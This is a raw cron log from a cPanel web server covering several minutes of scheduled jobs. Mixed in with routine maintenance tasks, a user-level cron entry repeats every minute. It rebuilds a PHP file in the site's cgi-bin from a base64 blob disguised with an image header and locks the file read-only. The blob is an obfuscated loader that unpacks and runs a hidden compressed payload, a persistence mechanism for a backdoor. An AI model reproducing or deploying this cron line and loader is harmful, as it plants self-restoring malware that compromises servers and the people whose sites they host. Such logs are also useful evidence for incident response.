Sep 12 07:18:01 server CROND[23919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:18:01 server CROND[23920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:18:01 server CROND[23921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:19:01 server CROND[24298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:19:01 server CROND[24299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:19:01 server CROND[24297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:20:01 server CROND[24722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 07:20:01 server CROND[24723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:20:01 server CROND[24727]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:20:01 server CROND[24728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:20:01 server CROND[24733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:20:01 server CROND[24730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:20:01 server CROND[24732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:20:01 server CROND[24729]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 07:20:01 server CROND[24735]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:21:01 server CROND[25563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:21:01 server CROND[25564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:21:01 server CROND[25565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:22:01 server CROND[25936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:22:01 server CROND[25937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:22:01 server CROND[25938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:23:01 server CROND[26434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:23:01 server CROND[26435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:23:01 server CROND[26438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:24:01 server CROND[26820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:24:01 server CROND[26821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:24:01 server CROND[26822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:25:01 server CROND[27202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 07:25:01 server CROND[27204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 07:25:01 server CROND[27208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:25:01 server CROND[27207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 07:25:01 server CROND[27209]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:25:01 server CROND[27210]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 07:25:01 server CROND[27213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:26:01 server CROND[28038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:26:01 server CROND[28039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:26:01 server CROND[28040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:27:01 server CROND[28491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:27:01 server CROND[28492]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 07:27:01 server CROND[28493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:27:01 server CROND[28494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:28:01 server CROND[28972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:28:01 server CROND[28971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:28:01 server CROND[28970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:29:01 server CROND[29355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 07:29:01 server CROND[29356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 07:29:01 server CROND[29357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 07:30:01 server CROND[29742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
